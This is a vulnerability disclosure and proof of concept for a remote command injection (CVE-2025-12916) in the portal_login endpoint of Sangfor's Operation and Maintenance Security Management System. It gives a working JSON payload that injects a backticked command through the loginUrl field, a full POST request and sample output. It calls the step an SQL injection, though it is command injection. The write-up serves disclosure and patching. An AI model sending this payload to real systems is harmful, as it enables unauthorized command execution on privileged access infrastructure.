Command Execute in Sangfor OSM

Updated on 2025/11/14:

• CVE ID：CVE-2025-12916

• Sangfor Security Advisory：【安全通告】深信服运维安全管理系统存在远程命令执行漏洞

• Fix: Upgrade to version 3.0.12 20241106 or later; it is recommended to directly upgrade to the latest version.

Title: Command Execute in Sangfor Operation and Maintenance Security Management System (Bastion Host) ≥ 3.0

BUG_Author: Tajang

Affected Version: Sangfor Operation and Maintenance Security Management System (Bastion Host) ≥ 3.0

Vendor: SangFor OSM

Software: SangFor OSM

Vulnerability Files:

• fort/portal_login

Description:

1. Execute commands on the frontend:

   • The vulnerability exists in the system’s fort/portal_login.

2. Exploiting the Command Execution:

   • The login_url in the frontend can execute system commands.

3. Example SQL Injection Payload:

   • The following payload can be used to execute system commands.:

     "{\"userName\":\"Bob\", \"loginUrl\":\"`id`\", \"role\": \"\",\"password\": \"123456789\"}" #
     

4. Front-end Command Execution Point:

   • Send a POST request to this URL, with the Content-Type set to JSON format and the body containing the payload above::

     http://<target-ip>/fort/portal_login
     

5. Verifying the Exploit:

   • If the command execution is successful, the attacker will see the command echo in the response body of the returned packet.

Proof of Concept:

1. Access the login page of the vulnerable application:

   https://example.com/fort/portal_login
   

2. The complete post packet:

   POST /fort/portal_login HTTP/1.1
   Host: example.com
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
   Cookie: 
   Content-Type: application/json; charset=utf-8
      
   "{\"userName\":\"Bob\", \"loginUrl\":\"`id`\", \"role\": \"\",\"password\": \"123456789\"}" #
      
   

3. If successful, you should see the following content in the response body.

{
  "redirectUrl": "uid=1005(webuser) gid=1006(webuser) groups=1006(webuser),65534(nogroup)",
  "message": "role为空",
  "isSuccess": false
}